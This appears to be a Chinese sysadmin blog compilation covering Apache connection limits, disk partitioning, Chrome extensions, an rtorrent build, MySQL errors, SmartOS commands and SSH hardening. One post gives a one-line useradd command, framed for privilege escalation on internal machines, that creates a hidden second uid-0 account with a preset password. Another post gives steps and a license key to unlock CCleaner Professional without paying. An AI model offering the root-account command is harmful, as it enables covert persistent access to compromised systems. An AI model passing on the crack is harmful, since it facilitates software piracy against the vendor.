Apache 添加limitipconn模块并限制IP的并发连接数

安装&下载

首先到 http://dominia.org/djao/limitipconn2.html 获取最新版本的下载链接。我这里获取到的是:

http://dominia.org/djao/limit/mod_limitipconn-0.24.tar.bz2

wget http://dominia.org/djao/limit/mod_limitipconn-0.24.tar.bz2

bzip2 -d mod_limitipconn-0.24.tar.bz2

tar -xvf mod_limitipconn-0.24.tar

apxs2 -c -i -a mod_limitipconn.c

这里的apxs2是Ubuntu里面的一个可选组件,默认没有安装,需要自行使用apt-get install apache2-dev安装。

如果是CentOS,应该使用yum install httpd-devel来安装,而且安装之后的可执行程序名是apxs。

RH系的可以找httpd-devel的rpm包使用rpm命令安装,在此不再细说。

之后,检查httpd.conf或apache2.conf里面是否有LoadModule limitipconn_module modules/mod_limitipconn.so,如果有则正常,继续向下看:

###下面就是对web目录下的文件下载限制 

 #所限制的目录所在,此处表示主机的根目录
MaxConnPerIP 3 #所限制的每个IP并发连接数为3个
NoIPLimit image/* #对图片不做IP限制

 #所限制的目录所在,此处表示主机的/mp3目录
MaxConnPerIP 1 #所限制的每个IP并发连接数为1个
OnlyIPLimit audio/mpeg video #该限制只对视频和音频格式的文件

重启即可。

linux运维:Linux下添加新硬盘+分区及挂载详细步骤图解

原文地址:Linux下添加新硬盘,分区及挂载 作者:sjhf

挂载好新硬盘后输入fdisk -l命令看当前磁盘信息

200811221227366545284
可以看到除了当前的第一块硬盘外还有一块sdb的第二块硬盘,然后用fdisk /dev/sdb 进行分区
200811221227366641881
进入fdisk命令,输入h可以看到该命令的帮助,按n进行分区
200811221227366718341
这里输入e即分为逻辑分区,按p即分为主分区,我们要将这块盘分为主分区即输入p
200811221227366772225
到这里输入该主分区为第几个主分区,由于是新盘我们输入1来分第一个主分区
200811221227366848997
First Cylinder是选择该分区的起始磁盘数,这里可自定义也可不做选择,默认是1,如无特殊需求强烈建议选择默认,也就是1来分区(直接按回车)
200811221227366906209
接下来是定义该分区的大小,如果按默认(按回车)即是使用全部可用存储额,也可以是用M或m单位结尾的数字(大写M是大B的意思,如果输入1M实际上是X8也就是8m的空间),这里我们先分一个1G的空间,所以输入+1024m
200811221227366953843
之后输入w写入分区,等待结束皆可
200811221227367048972
再输入fdisk -l 可以看到我们刚才分的一个分区,之后用mkfs -t ext3 -c /dev/sdb1进行格式化,如有多个分区可把sdb1改成sdb2 sdb3…以此类推,具体可用fdisk -l看到每个分区的名字
200811221227367365971
上图蓝色部分是写硬盘卷标的,如不想要卷标可直接按回车,现在分区好了我们用mount 挂载一下该分区即可使用了,这里我把它挂载到mnt目录下,也可以自建一个目录挂载
200811221227367426106
来看一下分区大小是否和预定的一样,使用df -TH命令看一下当前挂载的分区和大小,看到我们刚分的分区了吧
200811221227367491115
如果想每次系统重启都能自动挂载该分区可修改/etc/fstab文件,在最后加一段 /dev/sdb1    /www    ext3    defaults 1 2 (格式说明:/dev/sdb1 代表哪个分区  ext3是该分区的格式 defaults 是挂载时所要设定的参数(只读,读写,启用quota等),输入defaults包括的参数有(rw、dev、exec、auto、nouser、async) ,1是使用dump是否要记录,0是不要。 2是开机时检查的顺序,是boot系统文件就为1,其他文件系统都为2,如不要检查就为0)
200811221227367562514

12个强大的Chrome插件扩展推荐

Chrome功能强大,也得益于其拥有丰富的扩展资源库。Chrome Web Store里有各种各样的插件,可以满足你使用Chrome时的各种要求。和Firefox一样,Chrome的扩展非常容易安装,而且非常容易卸载。与Firefox不同,Chrome的扩展不需要重新启动,并且不会有扩展插件会减小你的网页面积。在这里我总结出2013年 Chrome 的12款非常强大的扩展程序,供大家挑选分享。这些插件能不同程度地提升效率。诸如Turn off the light这些非常常用的我就不介绍了。

继续阅读: 12个强大 Chrome 插件推荐 (二)

所有的扩展程序都可以在Chrome Web Store在线搜索并下载。(除非你打不开Web Store)

Holmes

书签搜索工具。如果你有非常多的书签,多到你已经搞不清楚哪些放到哪里了,虽然在chrome的万能地址栏里可以简单搜索,但是毕竟不全面。Holmes可以实现实时搜索,从标题和地址匹配,达到快速找到你想要的书签的目的。你不用去层层叠叠的文件夹心酸地寻找了。

https://chrome.google.com/webstore/detail/holmes/gokficnebmomagijbakglkcmhdbchbhn

holmes

LastPass

密码管理软件。可以把你所有的密码信息保存起来,你再也无需记住复杂繁多的密码了,只需登录到lastpass,然后保存你的密码,lastpass会自动帮你完成登陆,不需要输入密码。它允许你从任何主流的密码存储器导入和导出密码,捕获其它管理器无法捕获的密码包括很多AJAX表单。也可轻松地创建强大的密码。敏感信息在上传之前已在本地计算机上加密,因此就算是LastPass的员工也无法得到密码信息。更好的事时,lastpass支持的不仅仅是Chrome,还有Firefox、opera,甚至IE。

https://chrome.google.com/webstore/detail/lastpass/hdokiejnpimakedhajhdlcegeplioahd?hl=zh-CN

LastPass-Chrome

Lazarus: Form Recovery

一款强大的急救软件。在你的浏览器发生崩溃、意外退出、结束进程时,可以借助此软件来回复你之前在浏览器页面上所输入的文本,而不需要悲惨的重新输入一次。

https://chrome.google.com/webstore/detail/lazarus-form-recovery/loljledaigphbcpfhfmgopdkppkifgno

lazarus-example-google

Minimalist for Everything

样式表修改插件。你可以利用它来实现站点的多种CSS自定义,或者让网站看起来更加清爽,或者让网站的风格更符合你的口味。例如隐藏某个新闻网站的广告,去掉GMail的导航条,甚至还可以做到邮件附件图标随着插件类型而自动改变。只需一次设置,即可云端同步,并且在站点加载时自动应用。不过因为它太强大了,很多人在安装后都不知道该怎样用。

https://chrome.google.com/webstore/detail/minimalist-for-everything/bmihblnpomgpjkfddepdpdafhhepdbek

minimalist

Secure Bookmarks

顾名思义,一款加密书签的插件。不过这可不是加密你整个书签,而是在这个插件的私密空间去添加私密的书签。除非输入密码,不然别人看不到你在这个插件里保存的书签。例如你想要给某人买礼物,中意的商品网页不想让人看到,或者你的私人信息页面想要隐藏,你都可以把它们添加到Secure Bookmarks里面。并且你只需要输入一次查看密码,在你的整个使用过程中都可以随时添加修改或访问。在你离开电脑时,只需点一下插件上的“Exit”,直到下一次输入密码访问。

https://chrome.google.com/webstore/detail/secure-bookmarks/leocjgngiajhfiikjolfhcpiokgbinep

secure-bookmarks

Text Mode

把整个网页全部变成只剩下文字吧!这个插件特别适合爱在网上看新闻或者看小说、阅读的同学。开启这个插件后,所有图片都会变虚线框,整个网页色调变成黑白,让你注意力集中在文本上,再也没有让人烦恼、分散注意力的令人脸红心跳的图片了!你只需尽情阅读就可以了。不过你不能拿它来看在线漫画。

https://chrome.google.com/webstore/detail/text-mode/adelhekhakakocomdfejiipdnaadiiib

Text-mode

 

Kloudless

这个插件可以帮助你把Gmail邮件里的附件转存到Box,Google Drive,以及Dropbox里。你不需要先下载,再登陆,再上传,现在只需几个按键即可。在使用前需要登录到相关服务获取权限。

https://chrome.google.com/webstore/detail/kloudless/nddbhiejgghlfkjcmhanfpbpjiliclkd

kloudless

Tabs Outliner

我们知道如果Chrome打开了超过十个标签页就会变得非常恐怖:你已经看不清楚标题了。有没有过因为标签页无序杂乱而导致重复打开了很多个相同标签的情况?如果你使用Tabs Outliner,情况就会有好转。它会在浏览器旁边新建一个窗口,把所有的标签页按照域名归类放好,如果你想要查找标签页的话就会变得十分容易。如果你的屏幕是宽屏的话更适合。

https://chrome.google.com/webstore/detail/tabs-outliner/eggkanocgddhmamlbiijnphhppkpkmkl

Tabs_Outliner

Scroll Marker

滚动很长的页面时眼睛花了不知道阅读到哪里了?别小瞧了这个插件,这个插件可以在你阅读长文本时,在页面底部(或者你想要的位置)增加一条半透明的线,随着页面滚动,这样子你在滚动时你可以根据这条线来确定自己的阅读位置来继续阅读,不会头昏眼花导致最后放弃阅读。一切样式颜色、延时时间都是可以自定义的。

https://chrome.google.com/webstore/detail/scroll-marker/jdoinodpdahlmpgmpmhonheidpjhhnid

Scroll_Marker

Chrome Office Viewer

这个插件很强大,可以在你不想打开office、不想上传到google docs或者没有安装office时,临时在直接就浏览器里面阅读office文件,从幻灯片到普通word都提供支持,非常方便。

https://chrome.google.com/webstore/detail/chrome-office-viewer-beta/gbkeegbaiigmenfmjfclcdgdpimamgkj?hl=zh-CN

Chrome-Office-Viewer

Textdown

这个插件极其简单简洁,安装后可以在新标签页的应用程序中找到它。功能类似临时记事本,不仅仅支持临时的粘贴,它还有着丰富的快捷键,支持语法自动补全、另存为各种各样的文件(例如CPP、js、html)等等丰富的功能。

https://chrome.google.com/webstore/detail/textdown/efalomlklhakojjbdfehfkgoicablooc

Textdown

HTTPS Everywhere

这个插件可以实现自动侦查网站的HTTPS支持情况,并自动切换到HTTPS SSL安全连接,实现客户端到服务器的内容传输加密,保障你的安全。如果你对自己的网上安全和隐私十分注重,那么推荐你安装这款插件。

https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp

https-everywhere

linux一条命令添加一个root级别账户并设置密码

内网机器提权添加账户,无回显,设置密码就不好弄,下面就是添加一个root级别的账户并设置密码的命令

 useradd -p `openssl passwd -1 -salt ‘lsof’ admin` -u 0 -o -g root -G root -s /bin/bash -d /home/lsof lsof

命令解释

useradd 添加用户
-p `openssl passwd -1 -salt ‘lsof’ admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码
-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /home/lsof 新建用户的主目录,可以自己定义
lsof 新建的用户的用户名

CCleaner 免费版变专业版

其实,大家从官网下载的CCleaner 免费版安装包里就包含专业版,只不过没释放出来而已。

我来教大家如何从免费版安装包里释放出专业版:

①下载安装CCleaner 免费版安装程序,

②断开网络后再安装,如果有防火墙拦截CCleaner.exe联网亦可。
注意此步是成败关键,一定要断绝其联网(如果不断网,虽然注册了,但是却不能释放出专业版支持文件:branding.dll,也就变不成专业版)。

③运行CCleaner,输入注册信息:
Name:Registered User
License Key:CBB4-FJN4-EPC6-G5P6-QT4C
完成注册,同时在程序目录下释放出专业版支持文件:branding.dll

④OK了,这时可以联网了,只要branding.dll释放出来了,CCleaner程序再联网是无任何妨碍的。

===========

以上是自动释放,咱们也可以手工强行释放出专业版支持文件-branding.dll(这样就不用断网了),方法是:
CCleaner安装后,去主程序目录,用工具(我使用的是Restorator 2007)打开 CCleaner.exe,在资源树列表中“BRANDING”下找到296,将296导出为296.dcr或者296.raw,这就是专业版的 branding.dll,将这296.dcr或者296.raw重命名为branding.dll即可。然后还是打开程序,会出现注册界面,在断网情况下,输入上面的名字和注册码,即可成功。

第一种方法很多人不成功,要看运气。但是第二种方法基本上100%成功,可以尝试一下。

顺便一说~CCleaner的免费版和专业版区别不大,多了多用户管理还有浏览器监控,就是说每次浏览器退出可以帮你自动删除缓存。

Macbook Pro 升级Win8.1预览版后无声音

前段时间Win8.1的预览版终于出了,于是第一时间安装。结果安装完之后发现没有任何声音了。。。

于是重装驱动,没用。更新驱动,没用。。。重装BootCamp,还是没用。。。

最后,在网上看到一篇帖子,说把下图中的Disable all enhancements勾选上就可以解决这个问题。抱着试试看的心态试了一下,果然好了!

Win8-无声

 

顺便一说,如果你的耳机和扬声器都无声,那需要把耳机和扬声器的这两个选项都勾上才可以~

再顺便一说,外置声卡貌似完全没有影响,我的硕美科的USB耳机使用完全正常。

编译安装rtorrent并添加IPv6支持

本文章安裝方式參考下面這篇文章,
http://filesharefreak.com/2010/02/13/how-to-install-rtorrent-rutorrent-using-socket-ssl-authentication-on-ubuntu-or-debian/
其實只能算是該篇文章的部份中譯, 並補上 IPv6 的支援,
IPv6 部份參考
http://libtorrent.rakshasa.no/ticket/1111
http://ihipop.info/2010/08/1363.html
(1) 先連上 SSH 並以 root 的身份開始進行安裝
su root
(2) 更新 apt 資料庫
apt-get update
(3) 安裝相依套件
apt-get install -y build-essential pkg-config libcurl4-openssl-dev libsigc++-2.0-dev libncurses5-dev lighttpd screen subversion libterm-readline-gnu-perl php5-cgi apache2-utils php5-curl curl php5-cli
(3) 安裝 libtorrent
cd ~
wget http://libtorrent.rakshasa.no/downloads/libtorrent-0.12.6.tar.gz
tar zxfv libtorrent-0.12.6.tar.gz
cd libtorrent-0.12.6
wget http://home.samfundet.no/~sesse/libtorrent-0.12.6-ipv6-07.patch
patch -p1 < libtorrent-0.12.6-ipv6-07.patch ======================== 修改 libtorrent 程式碼 libtorrent-0.12.6/rak/string_manip.h 第186行:由 return 'A' + v - 0xA; 改為 return 'a' + v - 0xA; ======================== ./configure --enable-ipv6 make make install (4) 安裝 XMLRPC-C cd ~ svn checkout http://xmlrpc-c.svn.sourceforge.net/svnroot/xmlrpc-c/stable xmlrpc-c cd xmlrpc-c/ ./configure make make install (5) 安裝 rTorrent: cd ~ wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.8.6.tar.gz tar zxfv rtorrent-0.8.6.tar.gz cd rtorrent-0.8.6 wget http://home.samfundet.no/~sesse/rtorrent-0.8.6-ipv6-07.patch patch -p1 < rtorrent-0.8.6-ipv6-07.patch ./configure --with-xmlrpc-c --enable-ipv6 make make install (6) 接下來為了讓 rtorrent 能夠開機就自動執行,需要作下面的動作 vim /etc/init.d/rtorrent.sh 將下面的文字寫到 /etc/init.d/rtorrent.sh 將 snowwolf725 改成你自己的使用者 ID =========================== #!/bin/sh case "$1" in start) echo -n "Starting rtorrent" su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; stop) echo -n "Stopping rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket echo "." ;; restart) echo -n "Restarting rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket sleep 1 su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; *) echo "Usage: {start|stop|restart}" >&2
exit 1
;;
esac
exit 0

==============================
讓該檔案變成可以執行
chmod +x /etc/init.d/rtorrent.sh
(7)換成一般使用者的身份, 這裡的 snowwolf725 要換成你自己的使用者名稱, 要先更新函式庫 cache
ldconfig
su snowwolf725
cd ~
(8) 設定 rTorrent
vim .rtorrent.rc

依照下面的設定檔改成自己可以用的設定檔#開頭的那幾行是註解可以不用打, vim 有分編輯模式和命令模式,一開始進入是命令模式,按 i 或是 a 可以進入編輯模式打字,按 ESC 可以離開編輯模式回到命令模式,輸入 [:w](不包涵中括號,即冒號和w) 然後按下 Enter 可以寫入檔案,[:q!] 按下Enter 可以離開畫面, 其實檔案可以先打好命名成 .rtorrent.rc 利用 PPutty (不是putty)上傳到主機就可以了(上傳方法是開啟 pputty 並登入然後將檔案拖曳到 pputty,會詢問你帳號密碼傳完預設在家目錄下面)
主要需要修改的是
各個 rtorrent 的目錄
===================================
# 最大最小連接數
min_peers = 50
max_peers = 100

# 最大最小連接數(對於已經完成下載的種子)
min_peers_seed = 10
max_peers_seed = 100

# 最大同時上傳的連接數
max_uploads = 50
# 檔案名稱編碼
encoding_list = UTF-8
# 上下傳 ratio (0表示不限)
download_rate = 0
upload_rate = 0

# 存放下載檔案的路徑
directory = /home/snowwolf725/data
# rtorrent 的工作目錄
session = /home/snowwolf725/session

# 每五分鐘查看特定目錄並下載新的種子
schedule = watch_directory,5,5,load_start=/home/snowwolf725/watch/*.torrent

# Server 的 IP 和 Domain name (IPv6 不能綁 IPv4 的 address)
# ip = 1.2.3.4
# ip = ks00000.kimsufi.com
# bind = 1.2.3.4
# rtoreent 所使用的 port
port_range = 49152-65535
# 是否使用 udp 的 Tracker
use_udp_trackers = yes
# 連線加密(允許加密連線連入,但預設使用未加密連線)
encryption = allow_incoming,enable_retry,prefer_plaintext
# 依照種子設定決定是否開啟 DHT
dht = auto

# DHT 的 port
dht_port = 19000

# 是否開啟 peer exchange 功能(開啟)
peer_exchange = yes
umask = 0000
on_erase = rm_complete,”execute=rm,-rf,$d.get_base_path=”
schedule = low_diskspace,5,5,close_low_diskspace=100M

# 不作 hash 檢查檔案完整性
check_hash = no

==============================
(9) 測試 rtorrent
執行 rtorrent
這樣就完成了, 按 Ctrl+q 可以離開 rtorrent

 

PS,Ubuntu经过这种方式安装启动rtorrent可能会报错说找不到libtorrent这个库。此时将/usr/local/bin/rtorrent复制到/usr/bin/下,将/usr/local/lib/libtorrent.so.11和/usr/local/lib/libtorrent.so.11.0.6复制到/usr/lib/下再启动rtorrent即可。

mysqld Errcode:13 解决方法

当看到错误日志里面如下记录:

mysqld started

[Warning] Can’t create test file xxx.lower-test
[Warning] Can’t create test file xxx.lower-test
/usr/libexec/mysqld: Can’t change dir to ‘/xxx’ (Errcode: 13)

[ERROR] Aborting

首先检查数据目录和日志目录的权限和所属用户,如果权限和所属用户都没问题,那应该是SELINUX的权限限制了。

先查看当前配置信息.

# getenforce

Enforcing

就表明SELinux已经启用.只需要关闭即可。

关闭方法:

#setenforce 0 (0|1 开|关)

对你的数据目录和日志目录执行如下命令:

#chcon -R -t mysqld_db_t /xxx

一切问题迎刃而解

SmartOS 与 Linux 不同点总结

在SmartOS用户中最常见的问题之一就是,既然说SmartOS和Linux类似,那除了那些看不见的技术细节,在使用时到底有什么不同呢?如果已经熟练操作Linux,那SmartOS能快速上手么?答案是当然能,其实常用的不同之处并不多。这篇文章将回答Linux与SmartOS在操作上的不同之处。

原文链接:http://wiki.joyent.com/wiki/display/jpc2/The+Joyent+Linux-to-SmartOS+Cheat+Sheet
原文标题:The Joyent Linux-to-SmartOS Cheat Sheet

SmartMachine和其他类Unix系统不同之处主要在于两类:

  • 命令类似,但在SmartOS中用不同的名字
  • 完成类似的任务,但在SmartOS中有不同的实现过程

这里列出一个命令列表,用来帮助Linux用户找到在SmartOS中与Linux对等的命令。

  • Linux 和 SmartOS 命令对比列表
  • 不同使用语境(Use Context)的例子
    • 检查进程和内存
    • 启动和停止服务

Linux and SmartOS 命令对比列表

任务 / 操作系统 Linux SmartOS
表中某些键值的含义
(rh) = Red Hat, Mandrake, SUSE,…
(deb) = Debian, Libranet,…
(fed) = Fedora
(gen) = Gentoo
(md) = Mandrake/Mandriva
(SUSE) = SUSE
Joyent SmartOS

开源版本可参见链接 http://smartos.org

管理用户
managing users
useradd
usermod
userdel
adduser
chage
getent
useradd
userdel
usermod
getent
logins
/usr/sadm/bin/smuser
groupadd
列举硬件配置信息
list hardware configuration
arch
uname
dmesg (if you’re lucky)
cat /var/log/dmesg
/proc/*
lshw
dmidecode
lspci
lspnp
lsscsi
lsusb
lsmod
(SUSE) hwinfo
/sys/devices/*
prtconf -v
arch -k
psrinfo -v
isainfo -v
dmesg
iostat -En
prtfru
cfgadm -l
/etc/path_to_inst
read a disk label fdisk -l prtvtoc
label a disk cfdisk
fdisk
e2label
format
prtvtoc
磁盘分区
partition a disk
parted (if you have it)
cfdisk
fdisk
pdisk (on a Mac)
(deb) mac-fdisk (on a Mac)_
(md) _diskdrake
format
fmthard
kernel /boot/vmlinuz*
/boot/bootlx
(see /etc/lilo.conf or /boot/grub/menu.lst)
/kernel/genunix
/platform/`uname -m`/
kernel/unix
show/set kernel parameters /proc/*
/proc/sys/*
sysctl
/etc/sysctl.conf
sysdef
getconf
cat /etc/system
ndd
adb -k
loaded kernel modules lsmod modinfo
load module modprobe
insmod
modload
unload module rmmod
modprobe -r
modunload
启动脚本
startup scripts
/etc/rc* (but may vary)
/etc/init.d/
/etc/rc*
/etc/init.d/
svcadm
svcs
启动/停止/配置 服务
start/ stop/ config services
(rh) _service
(rh) _chkconfig
(deb) _sysv-rc-conf
svcs
svcadm
终止或关机
shutdown (& power off if possible)
shutdown -Ph now
shutdown -y -g0 -i0
halt
poweroff
shutdown -y -g0 -i5
run levels
*=normal states 
更多细节可参见
www.phildev.net/runlevels.html
(set in /etc/inittab)
0: halt
s,S,1: vendor-dependent
1: single-user
2-5*: multiuser
6: reboot
0: firmware monitor
s,S: single-user
1: sys admin
2: multiuser
3*: share NFS
4*: user-defined
5: power-down if possible
6: reboot
show runlevel  /sbin/runlevel who -r
时区信息
time zone info
/usr/share/zoneinfo/
/etc/localtime
/usr/share/lib/zoneinfo/
检查交换空间
check swap space
swapon -s
cat /proc/meminfo
cat /proc/swaps
free
swap -s
swap -l
bind process to CPU taskset (sched-utils) pbind
“正常”的文件系统
“normal” filesystem
ext2
ext3
ReiserFS
zfs (OpenSolaris)
文件系统描述
file system description
/etc/fstab /etc/vfstab
创建文件系统
create filesystem
mke2fs
mkreiserfs
mkdosfs
mkfs
zfs
文件系统调试和恢复
file system debugging and recovery
fsck
debugfs
e2undel
fsck
fsdb
clri
create non-0-length empty file dd if=/dev/zero of=filename
bs=1024k count=desired
mkfile
创建/挂载 ISO 镜像
create/mount ISO image
mkisofs
mount -o loop pathToIso
mountPoint
mkisofs;DEVICE=`lofiadm -a /absolute_pathname/image.iso` ; mount -F hsfs -o ro
$DEVICE
ACL management getfacl
setfacl
getfacl
setfacl
NFS share definitions /etc/exports /etc/dfs/dfstab
dfshares
NFS share command /etc/init.d/nfs-server reload_(rh)__ _exportfs -a share
shareall
NFS information cat /proc/mounts showmount
nfsstat
name resolution order /etc/nsswitch.conf
/etc/resolv.conf
/etc/nsswitch.conf
getent
显示网络接口信息
show network interface info
ifconfig
ethtool
dladm
ndd
ifconfig -a
netstat -in
dladm
修改IP
change IP
Joyent 公共云IP地址在云管理平台中设置 Joyent 公共云IP地址在云管理平台中设置
ping one packet ping -c 1 hostname ping hostname  packetsize 1
监听网络
sniff network
etherfind
tcpdump
wireshark (formerly _ethereal)
etherape
snoop
route definitions route
(rh) /etc/sysconfig/network
(rh) /etc/sysconfig/static-routes
(deb) /etc/init.d/network
(deb) /etc/network
/etc/defaultrouter
/etc/notrouter
/etc/gateways
in.routed
netstat -r
route add
telnetd, ftpd banner /etc/issue.net (telnet)
(ftp varies; can use tcp wrappers)
/etc/default/telnetd
/etc/default/ftpd
设置日期/时间
set date/time

(from net: ntp or other)
ntpdate
rdate
netdate
ntpdate
rdate
auditing auditd
/var/log/faillog
audit
auditd
auditreduce
praudit
加密后的密码在
encrypted passwords in
/etc/shadow (may vary) /etc/shadow
最小密码长度
min password length
/etc/pam.d/system-auth /etc/default/passwd
允许/禁止 root 登录
allow/deny root logins
/etc/securetty /etc/default/login
防火墙配置
firewall config
iptables
ipchains
ipfwadm
(rh) redhat-config-
securitylevel
/etc/ipf/ipf.conf
显示已安装的软件
show installed software
(rh) _rpm -a -i
(rh) _rpm -qa
(rh) yum list installed
(deb) dselect
(deb) aptitude
(deb) dpkg -l
(gen) _ls /var/db/pkg/*
(gen) _eix -I
pkgin list
安装/添加软件
add software
(rh) _rpm -hiv
(rh) yum install pkg
(deb) dselect
(deb) _apt-get install _pkg
(deb) dpkg -i
pkgin install
预编译的二进制版本
(GPLware and freeware)
www.linux.org
linux.tucows.com
sourceforge.net
rpmfind.net
(deb) ftp.debian.org
(deb) packages.debian.org
(gen) packages.gentoo.org
(gen) gentoo-portage.com;
(md) easyurpmi.zarb.org
pkgsrc.joyent.com/sdc6/
www.sunfreeware.com
www.blastwave.org
C 编译器
C compiler
cc
gcc
/opt/SUNWspro/
bin/cc
configure/show  runtime linking ldconfig
ldd
lsmod
crle
ldd
pldd
modinfo
LD_PRELOAD
链接库路径
link library path
$LD_LIBRARY_PATH
/etc/ld.so.conf
$LD_LIBRARY_PATH
跟踪工具
tracing utility
strace
ltrace
truss
sotruss
dtrace
定义用户默认配置
define user defaults
/etc/profile
/etc/security/
/etc/skel/
/etc/profile.d/*
/etc/default/login
/etc/profile
/etc/security/
csh global .login /etc/csh.login /etc/.login
默认的 syslog 和 信息
default syslog and messages
/var/log/syslog
/var/log/messages
/usr/adm/messages
/var/log/maillog
/var/adm/messages
/var/log/syslog
softpanorama.org/Logs/solaris_logs.shtml
system error reporting tool dmesg_(deb)_ reportbug prtdiag
性能监测
performance monitoring
vmstat
procinfo -D
top
htop
pstree
prstat
ostat
kstat
mpstat
netstat
nfsstat
trapstat
vmstat
ptree
match process to file or port lsof
netstat -atup
fuser
pfiles
维基百科
Wikipedia
Linux Illumos

 

 

 

不同使用语境(Use Context)的例子

比如,一些常见的Linxu命令的工作过程有些不同。, here are some common Linux commands that work differently.

命令 在SmartMachine上有何不同
df 在大多数SmartOS镜像,它是使用的 GNU 版本。可以用 /usr/bin/df 来运行 native 版本
lsof SmartMachine 使用不同的命令集来检查进程,下面会谈及。
ping 返回host主机是否有响应,使用 ping -s 返回持续的响应
top top 在 /opt/local/bin 里面,但 prstat -Z 提供比 top 有关资源池更多且更准确的信息

Rosetta Stone for Unix 是一个有用的资源,可以帮你看看你经常使用的UNIX版本和其他的UNIX版本(包括Mac)有何不同,并如何对应。

检查进程和内存


在旧的SmartOS镜像中,这些命令提供了端口和相关资源的信息,使用root或sudo可运行它们。
新的镜像使用的是 SmartMachine 工具包(Tools Package)

命令 描述 例子
pcp 显示被进程使用的端口们,或者进程们使用哪个端口 /root/bin/pcp -p 80 显示所有使用80端口的进程
/root/bin/pcp -P 28068 显示进程28068使用的所有端口
/root/bin/pcp -a 显示所有端口的端口及进程信息
jinf 显示你的SmartMachine正如何使用它的资源 /root/bin/jinf -c 显示CPU的使用信息
/root/bin/jinf -m 显示内存使用信息
/root/bin/jinf -s 显示交换空间使用信息

SmartOS 提供了一个工具套件来检查进程,可以在 proc 的 man page 中学习到更多内容。

工具 描述
prstat 这个工具显示活动的进程列表,类似Linux中的 top 命令
prstat -Z 将为提供你的SmartMachine状态的摘要信息
pgrep 根据指定的条件或模式返回进程的进程ID(PID)列表,一般是用来判断程序是否正在运行。
pkill 根据指定的条件或模式中止进程
pfiles 返回属于某个进程的所有打开文件列表
pstack 显示指定进程所有的线程的调用栈
ptree 显示所有进程或指定进程的进程树
ls /proc 列举所有正在运行的进程ID

你可以将 pgrep 的结果和其他 proc 工具合并显示。比如,显示与 http 进程相关的所有文件,可以使用如下命令来替代 lsof:

$ sudo pfiles $(pgrep http)

若要限制 prstat 显示 http 进程,可以使用命令:

$ prstat $(pgrep -d , http)
注意:如果 prstat 显示改变了你的终端设置,可以使用 reset 命令返回到正常状态

对于 vmstatmpstat 和 psrinfo 命令,主要显示物理机中处理器和内存的统计信息。这些输出一般来说对于SmartMachine的管理员才有用。

 

启动和停止服务

在其他系统中,你也许习惯使用命令在 /etc/init.d 来启动或停止服务。
SmartMachines 使用 Service Management Facility 来做到这些。

命令 svcs 和 svcadm 是你经常会使用到的。有些命令把 service identifier 叫做FMRI(Fault Management Resource Identifier)。
你可以使用 svcs 命令列举一个服务所有的 identifier 。

命令 描述
svcs 列举所有已启用的服务
svcs -a 列举所有服务,即使有些已经被禁止或offline
svcadm enable apache 使用apache FMRI 启用所有进程
svcadm disable apache 使用apache FMRI 禁止所有进程
svcadm restart apache 使用apache FMRI 重启所有进程

比如,如果你想更改 /etc/ssh/sshd_config 后重启SSH,可以这样做:

$ sudo svcadm restart ssh

Linux设置只能特定用户su到root

对于服务器来说,安全永远都是放在首位的,今天记录下只允许特定用户ssh到服务器,这样子可以防止某些人对你的服务器扫密码.禁止rootssh登录,只能让这个普通用户su到root,下面看操作
系统centos5

新建用户test,并设置密码
[root@vmunix ~]# useradd test
[root@vmunix ~]# passwd test
加入wheel组
[root@vmunix ~]# usermod -G wheel test
编辑pam的su设置
[root@vmunix ~]#vi /etc/pam.d/su

去掉auth required pam_wheel.so use_uid 的#注释
在密码策略里进行设置,追加参数到文件末尾

[root@vmunix ~]# echo “SU_WHEEL_ONLY yes” >> /etc/login.defs
禁止root登录
[root@vmunix ~]#vi /etc/ssh/sshd_config
PermitRootLogin no (把后面的yes改为no)

重启sshd服务
[root@vmunix ~]#services sshd restart
退出root,可以验证下,使用root登录失败,使用test登录su到root,OK!

————————–
另外一种方法看着很方便,但是wesley还没有试验,可以借鉴下
只能允许单个用户登录
编辑/etc/ssh/sshd_config
AllowUsers sshuser1 sshuser2
只能允许某个组登录
AllowGroups sshgroup